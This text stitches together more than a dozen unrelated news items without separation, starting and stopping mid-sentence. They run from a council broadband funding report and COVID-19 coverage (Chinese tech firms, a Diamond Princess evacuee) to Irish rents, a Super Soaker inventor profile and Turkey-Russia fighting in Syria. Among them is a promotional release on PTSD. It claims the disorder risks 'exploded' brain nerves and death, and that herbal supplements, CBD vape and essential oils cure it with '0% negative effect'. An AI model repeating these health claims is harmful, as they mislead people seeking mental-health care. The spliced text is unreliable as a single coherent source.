broadband infrastructure to their premises and the proposal is that the County Council provides funding to allow a further top up to this amount up to 1,500 per property. Under the first contract with BT, the County Council is entitled to receive a gainshare if sign up to broadband exceeds a threshold level. Some of this funding has already been re-invested into the second contract of works but current predictions are that we will receive at least a further 2.5m over the next three years and the proposal is to use 1.0m of this to provide the top up voucher scheme. It is therefore recommended that 1.0m is added to the Policy and Resources Capital Programme. If all applications were for the full value then this would provide infrastructure to nearly 700 additional homes, but it is expected that many more than this will be accommodated under the scheme. The additional funding will of course help the economic case for deploying Fibre-to-the-Premises (FTTP) infrastructure into some of the most challenging to reach rural communities, where the per premises build costs can easily reach several thousand pounds. The novel coronavirus epidemic may have temporarily affected economic activities across China. However, many tech companies and internet firms are playing their parts in the fight against the epidemic and contributing to the growth of the country's economy. Some tech companies have brought their newest medical products and services to join in the fight against the virus and many internet firms have seen strong business growth during the period. Medical equipment To aid the fight against the virus, leading software developer Neusoft developed a type of remote CT equipment in just seven days. "The equipment can quickly diagnose using AI computing and reduce contact between medical workers and patients," said Liu Jiren, chairman of Neusoft. Over the past few years, Neusoft has been seeking to empower the health care industry with information technology. "The epidemic has made us more determined in our business strategy and we will develop and manufacture more medical equipment deeply integrated with internet technology," Liu said. Robots are also joining the fight to reduce cross-infection risks and improve efficiency. Siasun, a leading robot manufacturer, has rolled out medical delivery robots and electric adjustable beds. With advanced technologies such as laser positioning, intelligent navigation and human-computer interaction, medical delivery robots can help health workers spray disinfectants and hand out medicine to patients. The electric adjustable beds allow infected patients to eat in bed and assist them to sit up and roll over. Siasun is also developing a robot that can replace nurses in conducting throat testing for the virus. Siasun president Qu Daokui said apart from maintaining a leading position in industrial robots, the company will develop new products for health and elderly care to nurture new business growth drivers. Fresh food e-commerce E-commerce platforms, particularly online fresh food retailers, reported marked business growth as people are asked to stay at home to avoid potential infection when shopping at crowded brick-and-mortar stores. Fresh food delivery app Missfresh saw sales soar 3.5 times year on year during the nine-day Spring Festival holiday, while the fresh food subsidiary of e-commerce giant JD.com saw sales surge 2.15 times. To cope with business growth and labor shortages, tech giant Alibaba's Freshhema, a fresh food retailer that offers delivery service, came up with the idea of "sharing employees" with restaurants and ride-sharing firms hard hit by the coronavirus outbreak. Fresh food online platforms are also helping fruit and vegetable growers in the remote countryside whose sales were stalled by the epidemic. "Our strawberries now sell well on these platforms and we no longer have to worry about the sales," said Ma Yandong, head of the local strawberry-growing association in the city of Donggang in the northeastern province of Liaoning. Sales in the country's largest strawberry-growing base were once stalled because of the epidemic. "Many of our rural cooperatives are no longer accepting new orders as they now worry about the supply shortages," said Ma. Cloud Cloud-related services, from cloud education to remote medical consultation and cloud working, also saw rapid growth amid the epidemic. School openings after the Chinese Lunar New Year holiday were postponed due to the epidemic, but online class services are helping minimize the impact. On the first day of the spring semester on Feb. 10, a large number of primary and middle school students across the country took online lessons at home. By Feb. 10, schools in 300 cities nationwide have joined the cloud class program of Alibaba's communication app DingTalk, benefiting a total of 50 million students. Remote medical consultation services are also bustling as they can help prevent cross-infections and ease pressure on hospitals. More than 10 major hospitals in Hefei, capital of the eastern province of Anhui, have launched free online medical consultation services for patients with fever after the province launched its top public health emergency response on Jan. 24. Internet medical platforms have also reported surge in online services. WeDoctor, which provides online access to licensed doctors, said doctors received more than 100,000 consultations on the platform on the first day of the lunar year. All patients from across China can access free medical consultation services on the platform amid the novel coronavirus outbreak, according to the company. Cloud technology also helps minimize the impact on the resumption of work after the holiday. DingTalk said it has served 200 million staff workers from more than 10 million enterprises and organizations as of Feb. 3. To meet the huge demand in peak hours, DingTalk has added over 20,000 temporary servers and expanded bandwidth to enhance its calculation capacity. The epidemic has brought challenges as well as opportunities for corporate innovation, said Daniel Zhang, chairman and chief executive officer of tech giant Alibaba Group. "We are fully confident in the digitalization process of the Chinese economy and society and ready to lay a more solid foundation for Alibaba's long-term growth," Zhang said. Facing the epidemic, an increasing number of consumers choose and are growing accustomed to the digital life and work styles, he added. Liu Qingfeng, chairman of China's major artificial intelligence (AI) company iFlytek that also offers cloud classes, expected the coming of the AI era. "Like water and electricity, AI will enter almost all industries including education, medical care, finance, transport and smart cities in the next five to 10 years," Liu said. (Reuters) - Telus Corp could cut 5,000 jobs and C$1 billion in investments over the next five years if the Canadian telecom operator is forced to slash prices by 25% or open its network to wireless resellers, The Globe and Mail reported https://tgam.ca/39JGaRY on Thursday. Chief Executive Darren Entwistle's comments came as a Canadian telecommunications regulator began hearings on increasing competition and lowering the cost of cellphone plans, possibly by requiring the country's top three wireless providers grant access to their networks to other companies. The hearings, held by the Canadian Radio-television and Telecommunications Commission (CRTC) in Gatineau, Quebec, also aims to examine whether the market is ready for 5G and it adequately serves Canadians. Three companies dominate Canada's telecoms industry. BCE Inc's Bell unit, Telus Corp and Rogers Communications together control 89.2% of the mobile subscriber market, according to the most recent government data from 2018. Telus was not immediately available to comment outside regular business hours. (Reporting by Juby Babu in Bengaluru; Editing by Sherry Jacob-Phillips) When Kathy Wright got the news that her husband, Rick, tested positive for the coronavirus days after leaving the quarantined Diamond Princess cruise ship in Tokyo, she just started crying. Anything that can go wrong in this nightmare has gone wrong, the nurse and business owner from Redwood City said on the phone from Travis Air Force Base in Fairfield on Thursday, where she is under her second two-week quarantine since Monday. But whats most troubled her more than two weeks cooped up on a cruise ship and now two more in an apartment that although quite nice still feels like prison, she said was how 328 cruise ship passengers were transported from Tokyo to the U.S. The close quarters in transit and what she felt was a lack of clear communication made her question whether passengers were safe from further exposure. It just doesnt give you faith in the system, Wright said. If we have a huge disaster in this country, we are not prepared. The State Department has no higher priority than the safety of U.S. citizens, Ian Brownlee, an official with the agencys Bureau of Consular Affairs, said on a press call Friday. Its important to remember that this was an emerging and unusual circumstance. ... At the end of the day the State Department had a decision to make ... and the decision was the right one in bringing people home. Wright, 60, and her husband, 62, were on their first cruise celebrating their third and last child going to college. They should have been home in Redwood City by Feb. 5. Instead, when coronavirus cases were reported on their ship, they were trapped in their cabin for nearly two weeks. When the onboard quarantine proved ineffective, with cases continuing to rise, U.S. authorities decided to transport the American passengers and quarantine them again. Some ended up at Travis, like the Wrights, while others were taken to Lackland Air Force Base outside San Antonio. Thats when it went crazy with disorganization, Wright said. She and her husband were scheduled on different flights, slated for separate bases, until they insisted they travel together to California. But when the cruise ship passengers were aboard buses to go to the Tokyo airport, test results for 14 passengers came back positive for the COVID-19 coronavirus that has infected tens of thousands and killed thousands, mostly in China. The ride, normally 20 minutes, turned into a four-hour wait. All we did was sit in a cesspool of germs, said Wright. The passengers who tested positive were removed to an isolation area while the State Department and Centers for Disease Control and Prevention debated what to do, Brownlee said. Once the agency decided to repatriate them, they were kept in the front of the cargo plane separated by black plastic sheets. On the long flight, Wright said six more people developed fevers. One man didnt wear a mask but wasnt reprimanded by an official, she said. Officials did not respond to a request to confirm Kathy Wrights account of the flight. The CDC said Friday there are 35 coronavirus cases in the U.S., 18 of those among repatriated Diamond Princess passengers. Ten more passengers reportedly tested positive in Japan, but the CDC doesnt count a case as confirmed until a U.S. test is done. On Thursday, the CDC said 22 more evacuated patients including 16 from Travis were taken to the hospital. One was Rick Wright, who is being treated in San Francisco. CDC spokesman Scott Pauley said that of those from Travis, 11 were tested in Japan, but their results had not yet come in when they boarded the plane, and they were not showing symptoms. The other five began showing symptoms after they arrived at Travis. Wright believed that the close quarters in travel contributed to the rise in reported cases but the CDC and State Department said passengers most likely had the virus before they left Japan, since test samples were taken two to three days prior to the evacuation flight. They dont represent infections en route, they represent infections prior to evacuation that are now only coming to light, Brownlee said. It is possible that some people were already incubating the disease when they left Japan, Nancy Messonnier, director of the National Center for Immunization and Respiratory Diseases, said on the same call Friday. Because passengers in the Diamond Princess were in a close setting, they are considered at high risk for infection and we do expect to see additional confirmed cases of COVID-19 among the passengers, she added. Two Japanese passengers in their 80s who contracted the virus died Thursday. Several Americans in Japanese hospitals are seriously ill, Messonnier added. When Wright and her husband arrived at Travis at 4 a.m. Monday, she said she was given a paper explaining that the quarantine on the cruise ship had been ineffective because the vessel wasnt properly disinfected and crew members continued to remain in close quarters. That meant she had to stay for 14 more days. Drought Map Track water shortages and restrictions across Bay Area Check the water shortage status of your area, plus see reservoir levels and a list of restrictions for the Bay Areas largest water districts. Wright understood the reasoning, but wished shed known from the start. I think I would have coped. Im one of those people that says, It is what it is. Its such a debacle, she said. Its about information. Wright and her husband were both missing their suitcases (hers arrived late Thursday afternoon; his still hasnt come) so they were lacking necessities. They had family in the area: Ricks brother and sister-in-law delivered T-shirts and boxers. On Tuesday, they also received toiletries from the American Red Cross. Around 9 a.m. Wednesday, the couple got the news that Rick had tested positive for the coronavirus from a swab in Japan even though he had no symptoms. Wright said it took around 12 hours for CDC to pick him up out of the on-base apartment where they were staying. To top it off, the ambulance taking him to the San Francisco hospital overheated and had to pull over on the side of the road before finally making it. Rick Wright has not developed any symptoms while being monitored in the hospital. If he tests negative twice (the first time upcoming on Saturday), he can go back to Travis. Their two daughters, who live in San Francisco, brought him a pizza Thursday. Kathy Wright is still at Travis. The apartment where shes staying is quite nice, with food delivered three times a day, she said, and shes been trying to fill the time with reading, crocheting and going on lots of walks. On Thursday, she got another package with sourdough bread, yogurt, salads and a yoga mat from her brother. But shes ready to get back to life: Her business as a nurse doing facial injections for plastic surgery patients has been put on hold for a month. And the four buildings at Travis where shes staying are surrounded by a chain link fence that U.S. marshals patrol: She said she signed a release form stating that she would be arrested if she tried to leave. You really do feel like youre in prison, Wright said. Chronicle staff writer Kathleen Pender contributed to this report. Mallory Moench is a San Francisco Chronicle staff writer. Email: mallory.moench@sfchronicle.com Twitter: @mallorymoench Irelands reputation as an environmental laggard is well justified according to this years Sustainable Progress Index commissioned by Social Justice Ireland. The report Measuring Progress: Sustainable Progress Index 2020 ranks 15 comparable EU countries based on their delivery of the United Nations 17 sustainable development goals. Ireland was ranked last on the environment index, suggesting we are facing significant challenges in meeting our environmental targets. In recent years, Ireland has witnessed a fluctuation in greenhouse gas emissions, but continues to be ranked well above the EU average. The country is also failing to meet the EU commitment as part of its Europe 2020 strategy to reduce greenhouse gas emissions by 20% by 2020 compared to its 1990 levels. Ireland is ranked 11th of the 15 countries on the economy, but on the social index, it is in the middle of the ranking, in seventh place. Overall, Ireland is in 10th place out of the 15 countries. Countries at the bottom are Greece, Portugal, Spain, and Italy while Denmark, Sweden, and the Netherlands are at the top. Economic and social analyst with Social Justice Ireland, Eamon Murphy, said Ireland is not great at providing quality employment and dealing with youth employment. Our reputation as an environmental laggard is well justified based on our measurement on how Ireland is performing in relation to the environmental goals that the United Nations has set for us, he said. Mr Murphy said the package of 17 goals needs to be looked at as a whole, but that there is no point in improving other areas if people can not live in a sustainable society. And if we dont play our part in tackling the climate-related targets set for us by the various international organisations, theres not going to be a society to worry about in 50 to 60 years. Mr Murphy said Ireland is pretty miserable in terms of how we are tackling the loss of biodiversity. However, it is not just about the climate, and is the result of a long-term focus by various governments over the last few decades. It was assumed that if the country got the economic aspect right in terms of growing annual economic output, everything else would follow, but that did not happen, he noted. It did not follow that the jobs would be of high quality, and that the taxes from GDP would ensure that the social goals relieving poverty and having adequate healthcare and education would be achieved too. Mr Murphy said SJI believes the 17 sustainable goals outlined in the report should form the basis of practically every policy aspect of the agreed programme for government. If your policy is not tackling one of them, what is it doing? Every policy should be tagged with a sustainable development goal to show what it is aimed at. One of the authors of the report, Dr Catherine Kavanagh from University College Cork, said the goals allow the next government to lead the way towards a new generation of politics shaped by the economic, social, and environmental demands of a truly healthy society. Ireland does well in terms of quality education, and peace and justice for which it is ranked second and fifth respectively. The country is also regarded as a relatively safe place to live with reasonably good, transparent, effective, and accountable institutions. Britain First leader Paul Golding has been charged under the Terrorism Act after refusing to give police access to his phone when he was arrested on the way home from Russia. The 38-year-old was stopped at Heathrow Airport in October on his way back from a trip to the Russian Parliament in Moscow by officers from the Met's Counter Terrorism Command. Golding, who heads up the far-right political group, refused to give the pin codes for a number of his electronic devices and was later charged with refusing to comply with a duty under Schedule 7 of the act. He is due to appear at Westminster Magistrates Court on Friday. Paul Golding has been charged under the Terrorism Act after refusing to give police access to his phone In a statement Golding said he was not a terrorist and described the charges as 'an abuse of legislation'. Schedule 7 allows police to interrogate, search and detain anyone for up to six hours at UK ports. It is designed to determine whether an individual is involved in the 'commission, preparation or instigation' of acts of terrorism. In September the group was slammed after Golding joined Britain First activists on a 'patriot migrant patrol' at a beach near Dover to catch migrants crossing the channel. Kent Police undated handout photo of far-right group Britain First leader Paul Golding who was found guilty at Folkestone Magistrates' Court in 2018 of religiously-aggravated harassment. The group, pictured during their patrol, reportedly says it would alert police and the Coastguard to crossings The far-right group said it sent people on the lookout for desperate migrants who risk their lives to get to Britain from France. They shared pictures of their 'patriot migrant patrol' at the beach in Dover, in Kent, on its website, saying: 'Equipped with torches, binoculars and hi-vis jackets, our activists patrolled the beach keeping a close eye out for migrant crossings.' This is while in May last year Golding was also caught on tape admitting to violently attacking his former deputy. Golding was heard on a documentary admitting to assaulting Jayda Fransen, who was also in a relationship with him after she joined the party in 2014. Jayda Fransen, former deputy leader of far-right group Britain First (pictured here in 2018), can be heard in the recording challenging Paul Golding The recording was made in 2015, and in it Fransen repeatedly challenges Golding about the attacks, which he never denies. In one, the pair can be heard discussing an attempted assault that he had carried out earlier in the day. The high cost of living in one of the country's newest apartment complexes is "worth the money", according to its tenants. Luc Winkelmolen (31) and his partner Kelvin were among the first to move in to the built-to-rent homes in Clongriffin, north Dublin. The 1,500 a month fee for the furnished one-bed apartment includes utility bills, bin collection, broadband and TV. The couple can also use the on-site gym, yoga studio, cinema and communal lounge area. They had to sign their lease online without having viewed the property. Bills Expand Close A drone shot of ongoing work on the apartments / Facebook Twitter Email Whatsapp A drone shot of ongoing work on the apartments The One Three North development, managed by Vesta, also has two-bed apartments from 1,990 a month and three-bed units from 2,499. Mr Winkelmolen, a technical engineer from the Netherlands, said the amenities included in his rent save him about 250 in monthly bills. However, he could not imagine how a family with children could afford one of the larger apartments. "We moved in on Tuesday and are impressed with how spacious our place is," he said. Expand Close Kelvin Lau and Luc Winkelmolen with their Cat Blitzie at their new apartment in Clongriffin. Photo: Mark Condren / Facebook Twitter Email Whatsapp Kelvin Lau and Luc Winkelmolen with their Cat Blitzie at their new apartment in Clongriffin. Photo: Mark Condren "It was risky signing the lease without seeing the apartment, but at the back of my mind I was happy it was A-rated and accepted cats. "It's pricey, but the market has got so crazy in Dublin that there are far more expensive places out there. "In Harold's Cross, there are one-bedroom apartments for 2,000 and in the Docklands renters pay over 2,850. "The amenities here are great and we save a lot of money not having to pay for our internet and gym membership separately, but I can't imagine how a family with kids could afford this." Mr Winkelmolen, who has been renting in Dublin for the past six years, said a similar apartment in the Netherlands would set him back only 800 a month. Crazy "The rental market in Ireland is crazy as there's a very high demand with very few high-quality apartments here. An apartment like this would set us back about 800 per month in the Netherlands, but they come unfurnished," he said. Sinn Fein housing spokesperson Eoin O Broin said 1,500 for a one-room flat is "far too expensive". "There's no reason why you can't have a good quality rental in Dublin for 700 for a one-bedroom 800 to 900 for two beds," he said. Questo comunicato e stato pubblicato piu di 1 anno fa. Le informazioni su questa pagina potrebbero non essere attendibili. U.K (21-feb-2020) In the current hectic era, there are different kinds of diseases are spread across the whole world. Sometimes people suffered from a disease and they take it easy by ignoring it as a normal activity because they are unaware of what kind of disease. Many of the individuals know that they are suffering from the disease when they saw major effects on their bodies. Simultaneously, Post-traumatic stress disorder is a kind of disease which is also known as PTSD for short. It is a mental disease that affects the psychological state of the human being. In this state, an individual triggered by a harsh event that they experience in their former days. The disease is recognized with the PTSD symptoms of nightmares, overthinking about flashback events, negative thoughts, relentless stress and mood swings, repetition syndrome. It is a hazardous disorder for the mental state of a human body that enhances the risk of exploded of brain nerves and death. It mainly affected only those people who have faced some harsh tragedy in their earlier times and their minds could not accept completely that trauma like sexual abuse, war, death of beloved one, natural disaster and many more. It is estimated that nearly 5% of male individuals and 10 to 12% of females have been faced this psychosocial trauma in their life. In the modern advanced age, some of the technological solutions are available for PTSD sufferers but it is quite difficult to trust machines because there is a question of the human brain. However, our traditional science provides herbal remedies to every problem which contains complete safety and security. There are several herbal food supplements are available that rid the disease from the basic root. Among all these herbal supplements, there are four most effective adaptogenic plants are present that are popular for its specialty including Rhodiola, hawthorn, ginseng, and Griffonia. According to the well-known researchers of the golden-age era, Adaptogenic plants are the best herbal plant that directly affects the endocrine system and that assists to improve the condition of anxiety or stress sufferers. These herbal plants like ginseng used in the Chinese medicines that assist the human body to deal with psychological and physical fatigue and energize it. Apart from these magical herbal plants, there are some essentials oils and flowers are also present that helps in getting fast recoveries like Ylang Ylang essential oil, CBD oil, CBD vape, Batchflower, and passiflora. These herbal plants perform a crucial role in balancing all emotional imbalances and manage anxiety disorder. The best part is that all these remedies have a 0% negative effect so there is no risk of human health. If you would like to get a better understanding of PTSD Symptoms, click here or visit the website. For more additional reading details about CBD Oil helpline please click here or check our official website. Website : https://ptsdsymptoms.co.uk/about-me/ Former NASA scientist Lonnie Johnson, a Tuskegee Institute-trained mechanical and nuclear engineer, came up with the idea for the high-power water blaster in 1982 while working at home on a design for a new heat pump. The first model was built from PVC pipe and an empty soda bottle, according to the Toy Hall of Fame. While he worked at night on improving the design of what he called the Power Drencher, Johnson spent his days working on NASA's Galileo mission to Jupiter. NASA launched Galileo on Oct. 18, 1989 around the time that Johnson founded Johnson Research and Development Co. in Atlanta and licensed the Super Soaker to Larami Corp., which Hasbro bought in 1995. The Super Soaker has been under Hasbro's Nerf subsidiary for about a decade. "Lonnie Johnson is probably the most seriously overqualified toy inventor I can think of, Chris Bensch, vice president of collections at Rochester's Strong Museum of Play, recently told MEL magazine. Most toy inventors have a bright idea. They have that eureka moment or they come up with something that they think is marketable or fun. But Lonnie certainly had more credentials than most." Johnson, now 70, grew up in Mobile, Alabama, and while in high school built an air-powered robot that won a science fair at the University of Alabama in 1968. Aside from working on the Galileo mission, he worked on NASA's Mars Observer project and the Cassini mission, helping to design the robot probe that traveled to Saturn. His inventions have included rechargeable battery technology and thermodynamic energy conversion technology, according to the Atlanta Journal Constitution. Johnson holds more than two dozen patents on a variety of inventions beyond toys including nanomachined electrodes, a portable multimedia projection system and a wet-diaper detector. The boss of Victoria's Secret has stepped down as part of a deal which sees it go private as sales fall and it is troubled by accusations of misogyny. Private equity company Sycamore Brands will buy 55 per cent of the high-end lingerie brand for about 407million, while the rest is kept by owner L Brands. Chairman and chief executive Les Wexner, 82, will also step down and there will be a boardroom shake-up. Private equity company Sycamore Brands will buy 55 per cent of the high-end lingerie brand for about 407million, while the rest is kept by owner L Brands Wexner, boss of L Brands for 57 years, bought Victoria's Secret for $1million in 1982. But tastes have moved on from the overtly sexualised image presented by the firm, with rivals such as Rihanna's Savage X Fenty embracing female empowerment. Wexner has been dogged by links to paedophile Jeffrey Epstein, who was said to have used the Victoria's Secret name to approach and abuse young women. Last year Wexner said he had felt 'betrayed' by Epstein and cut their ties once he knew of his crimes. The contracts clause argument has gotten some traction lately, but its not as black and white as Pritzker makes it sound. Respected constitutional scholars say a challenge based on the contracts clause could be defeated. There is U.S. Supreme Court precedent stating contract rights can be weighed against other factors, such as the duty of states to exercise police powers, or to protect the health of residents. (Natural News) Whoever came up with the idea of the global village clearly never thought about how a disaster in one part of the village would affect all the other residents. The 2008 global financial crisis is a prime example of why interconnecting the entire planets financial health is a seriously bad idea. Depreciation in the subprime mortgage market in the United States resulted in the collapse of investment bank Lehman Brothers, and like a series of dominoes, one bank after the other around the world started failing. The crisis that followed, now known as the Great Recession, created economic havoc across the globe, and it took years for the worlds economy to regain some semblance of balance. Now, another global economic disaster could be looming, this time because of the microscopic coronavirus known as Covid-19, which has infected over 72,000 people and claimed more than 2,000 lives in just a few weeks. Of course, the primary focus of the media has been on the spread of the disease and what measures different countries have put in place to contain it. There is widespread fear that Covid-19 could eventually become a global pandemic that claims millions of lives. But this virus has the potential to be devastating in another way, too: It could result in a global economic meltdown and could severely impact the availability and cost of thousands of essential products from China. (Related: CORONAVIRUS: Top CDC official warns we are likely to see community spread in the U.S. as agency prepares to implement change in our response strategy.) Covid-19s effects far more widespread than the disease itself Daisy Luther of The Organic Prepper explains that Covid-19 could end up affecting the whole worlds economy. The Chinese economy has already taken a $60 billion knock, and experts warn that if the fallout cannot be contained, it could end up costing Chinese banks as much as $6 trillion. Since the worlds economies are now so intertwined, Chinas pain will be the whole worlds pain and that includes the United States. Experts warn that the coronavirus disaster has all the hallmarks of a black swan event, a market term that refers to a sudden and unforeseen event that can have catastrophic effects on the economy. GNS Economics explains the pattern of events that will likely unfurl soon across the globe: It is probable that the coronavirus will push Chinese economy into recession sometime this year. As China has led this global cycle, the rest of the world will follow. The first shoe to drop outside China is likely to be the export-and China-dependent Eurozone. And, as we have warned on several occasions, many European banks will be unable to withstand a recession. When the European banking crisis, driven by the ensuing recession, resumes it will go-global fast as Europe holds the biggest concentration of globally systemically important banks, or G-SIBs. It is also unlikely that hyper-valued U.S. stock markets will be able to endure the impact of a global recession. This is even more the case if the Fed tapers its term repo-operations in February, as planned. Global recession, a European banking crisis and a crash in the U.S. capital markets will produce a global economic collapse which will almost certainly overwhelm any attemptsmassive and coordinated as they may beto turn the tide by over-stretched central banks and over-indebted governments. This is, why the coronavirus outbreak should be treated for what it is: a potential harbinger of human and economic calamity. [Emphasis added] That certainly is a sobering prediction. And with the virus continuing to spread at unprecedented rates, it would seem that humanity might be galloping towards disaster in more ways than one. Keep abreast of the latest coronavirus developments at Outbreak.news. Sources for this article include: TheOrganicPrepper.com GNSEconomics.com Edition.CNN.com Jason Watkins really doesnt mind playing eccentrics. A decade ago work was so sparse that he was contemplating giving up acting, but his BAFTA-winning performance in The Lost Honour Of Christopher Jefferies in 2014, playing the real-life retired teacher wrongly accused of Joanna Yeates murder in 2010, changed all that. And so began a new career in playing odd characters. He was the deranged forensic scientist Tim Ifield who attempted to dismember Thandie Newtons Roz Huntley in Line Of Duty in 2017, and at the end of last year he took on the mantle of lonely and unconventional Labour Prime Minister Harold Wilson to great acclaim in the third series of The Crown. Now hes taking centre stage in new ITV crime mystery series McDonald And Dodds. Jason plays DS Dodds, a quiet and, yes, slightly odd chap working as a police officer in Bath. Jason Watkins, 53, revealed how new ITV series McDonald And Dodds, combines classic whodunnit with modern attitudes. Pictured, as DS Dodds with Tala Gouveia as McDonald He has been moved from the desk job he had for 11 years, quietly solving cold cases, to the cut-and-thrust of the murder squad. His boss, Chief Superintendent Houseman (Primeval star James Murray), is desperate to get rid of the ageing detective, who he sees as dead wood, and has been pushing him to take early retirement. In desperation, hes paired Dodds up with young and ambitious DCI McDonald, whos arrived from London intending to show the locals whats what. Housemans hope is that Dodds will thoroughly embarrass himself. His boss has edged him into a dangerous area so he can mess up and they can get rid of him, says Jason. But he sees it as an opportunity, and to his surprise and everyone elses hes really good at it. Thats quite touching. 'A lot of it is down to his relationship with McDonald. Its like the analogue world meeting the digital one. He goes to the library, she goes on her iPad. First episode focuses on wealthy entrepreneur Max Crockett, who arrives home to discover a man has been found dead in his hallway, pictured: The Crockett family 'Theres this great unlikely partnership at the centre of it which bears enormous fruit. While in many ways the show is a classic whodunnit this first series consists of two feature-length episodes it merges very modern attitudes. Its got all the elements of, It was Miss Scarlet in the drawing room with the lead pipe, but its also a very modern story, continues Jason, 53. Doddss boss doesnt think theres space for men like him in the police force any more, so hes hoping Dodds will mess up then hes out. MY DAD WAS MY INSPIRATION Jason said there was a lot of his dad in his portrayal of Harold Wilson in The Crown too Jason Watkins knew exactly who he wanted to base the shy but kind and clever DS Dodds on his own father, Alan. Dodds has not been particularly brave or ambitious, he says. Hes lived in the same house since he was five years old and hes not really lived his life. It has drifted by him. 'My dad, who I love to pieces, is a welding expert. Hes not a career engineer but hes really good at his job. Dodds is a bit like that. 'Hes good but he doesnt bang his own drum, he isnt career-driven like his boss McDonald. He doesnt want to climb the ladder. It wasnt the first time Jason has thought of his dad while working. There was a lot of my dad in my portrayal of Harold Wilson in The Crown too, he says. Hes of a similar generation. People from that era are less emotional. We watched a couple of episodes of The Crown together and he later told my in-laws that he was very proud of me. 'It wasnt something he felt he could tell me himself. I do see a lot of links between Harold Wilson and Dodds. 'Wilsons great gift was he could see a host of numbers and facts as a whole and know what the outcome would be. 'That was his great strength. Dodds has a little bit of that about him too. Advertisement 'But Dodds finds his feet through the unlikely growing friendship between himself and McDonald. 'Its completely weird for him at first, but they begin to give each other confidence and really help each other. I do always play weirdos, strange people. Dodds is a bit strange but he is a really good guy. 'He just has a good heart and he begins to learn a little bit of emotional intelligence from McDonald by being a bit braver. So meek is Dodds that he literally tries to blend into the background. The show was originally titled Invisible because Dodds tries not to be seen, Jason says. He has a coat the same colour as Bath stone, so he genuinely disappears. 'Its easy to think that the person who shouts loudest gets noticed. Yet there are lots of interesting, brilliant people who dont feel the need to compete in that way and are as valid as anyone else. 'Dodds is the guy at the back with his hand up, saying, Excuse me, Ive just found out this amazing thing that solves your case. I love that. In contrast to the quiet and unassuming Dodds, DCI McDonald, played by Nottingham-born Tala Gouveia in her first leading role, is loud and brash and jumps into everything with both feet. Shes very driven and unafraid to own her space, which you dont often get in female characters, says Tala, best known as Cold Feets Gemma Murphy, who Adam fancied, unaware she was dating his teenage son. Shes come from London for a promotion in Bath but is adamant she only wants to stay there for two years. Shes very good at her job but shes also winging it a bit. 'Shes trying to act as confidently as possible so she makes quick decisions. Shes very driven to get things done, whether theyre the right thing to do or not. In some ways McDonald is there to tick boxes for Chief Superintendent Houseman, but he doesnt want her to make waves or upset anyone influential in Bath, Tala adds. Houseman also gets her to appear on the cover of a new police recruitment brochure and that reflects whats happening today. Its the same with actors and diversity. We Brits have always loved our crime dramas and they often become huge hits around the world. McDonald And Dodds is Midsomer Murders meets Death In Paradise, with a bit of Miss Marple thrown in. DS Dodds is moved from his 11-year desk job solving cold cases to the murder squad. Pictured, with Robert Lindsay as Jim Crockett Its murder with the lightest of touches, in which no one seems to mourn the dead person. And while everyone is running around trying to work out whodunnit, there is the beautiful backdrop of the city of Bath to enjoy. The first episode is set in a stunning home in the hills overlooking Bath. Robert Lindsay plays a wealthy entrepreneur, Max Crockett, who arrives home to discover a man has been found dead in his hallway. Soon McDonald and Dodds narrow the suspects down to his immediate family, who all have their own secrets. In the second episode, No Offences Joanne Scanlan plays the boss of a private clinic where a wealthy patient has apparently committed suicide. But it soon transpires that theres been foul play. Audiences love this genre, dont they? says Jason. Youre thinking, Who has done it? How have they done it? How did they get away with it? Is that person lying? Were constantly fascinated by human behaviour and crime. Theres always going to be human interest in the things people do and try to get away with, in trying to work out what peoples motives are. 'Weve also mixed in a bit of gentle humour and I think its saying something too, not in a clunky way but in a way thats important. 'I think its bringing the genre into the modern world, and thats a great thing. McDonald And Dodds will be on ITV early next month. The latest Turkey-led push by the Syrian rebels is intended to test the power of the Syrian government's troops on the ground and the limits of Russian support to Syrian President Bashar al-Assad. So far, the results do not seem promising for Ankara. Following futile talks between Turkey and Russia over the escalation in northern Syria, Turkey-backed Syrian opposition factions launched an offensive against Assads forces on Feb. 20 to capture southeastern Aleppo town of Nayrab. Hours later, an airstrike killed two Turkish soldiers, wounding five others. It remains unclear whether the strike was launched by a Syrian or a Russian fighter jet. Russia announced the troops were hit by a Russian jet while the Turkish Defense Ministry put the blame on the Syrian government forces. The intense clashes in the area are ongoing as of Feb. 21. The recent offensive showed that Russia is determined to provide air and ground support to Assads forces under any circumstances. The talks between Turkey and Russia seem to have reached a dead end, with the Turkish side rejecting Moscows offer and conditions. Russia reportedly asked Turkey to immediately withdraw from the Idlib observation posts set up as part of a 2018 de-escalation deal between the two sides. Turkey was asked to hand over all the military checkpoints on the main supply routes connecting Turkey to Idlib and Afrin to Idlib and to cleanse Idlib city of all opposition and jihadi elements. In return, Russia is said to have proposed that Turkey set up a safe zone 15 kilometers (nine miles) deep along the Turkish border to host an estimated 1.5 million refugees amid the regime's ongoing operation to capture the shrinking last rebel bastion of the war-torn country. The Russian offer would cost Turkey all of its gains in Idlib and western Aleppo, leaving only a small area to accommodate the refugees. Turkey is pressing for a safe zone 30 kilometers (18 miles) deep along the border. We would like to build barracks in this zone, Turkeys President Recep Tayyip Erdogan said Feb. 21. Russia reportedly declined Turkeys proposals for joint Turkish-Russian patrols in Idlib city and joint control over the de-escalation zone, which hosts 12 Turkish observation posts currently under siege by the Syrian troops. Regardless of several risks, Turkey will probably continue to dispatch more troops to the area in a bid to force Moscow to return to the negotiation table or perhaps to a multi-party summit, as part of the recent joint French-German efforts. Following a conference call between the Turkish, French and German leaders, Erdogan said Feb. 21 that a four-way summit could be held in Istanbul in early March. Yet Putin did not agree to the summit during a near-hour-long phone conversation between him and Erdogan on the same night that yielded no concrete results. We do not have any intention to withdraw [from northern Syria] until the atrocities stop, Erdogan said before the call, indicating that Turkey will do anything in its power to strengthen its hand before sitting at the table. His remarks came a day after the Turkey-backed armed opposition Sultan Murad Division and Hamza Division began advancing toward Nayrab, where a Syrian helicopter was downed by the rebels on Feb. 12. Turkish commando units directed the fighters from behind. The push began around 9 a.m. and Nayrab became the scene of intense clashes that are still going on as of this writing. According to official statements and news reports, the clashes began when the rebels targeted a Russian Su-24 fighter jet northeast of Nayrab by short-range air defense systems. In turn, a fighter jet hit a Turkish position in the area, killing two Turkish soldiers, wounding five. Turkey didnt medevac its wounded soldiers, transporting them in ambulances instead, indicating that Russia denied Turkey the use of Idlibs airspace even for the transportation of injured soldiers. Subsequently, the Russian Defense Ministry released a video of Turkish self-propelled gun units targeting Syrian government troops. The unprecedented move was clearly intended to notify Turkey that the movements of its armed units are closely monitored by Moscow. The release of the aerial footage also signals Moscows determination to support the Syrian army against the rebels. Russia has apparently chosen sides in the direct confrontations on the ground. Its response to Turkeys attempt to test the waters was loud and clear and its determination seems to have surprised Ankara. The test also revealed the 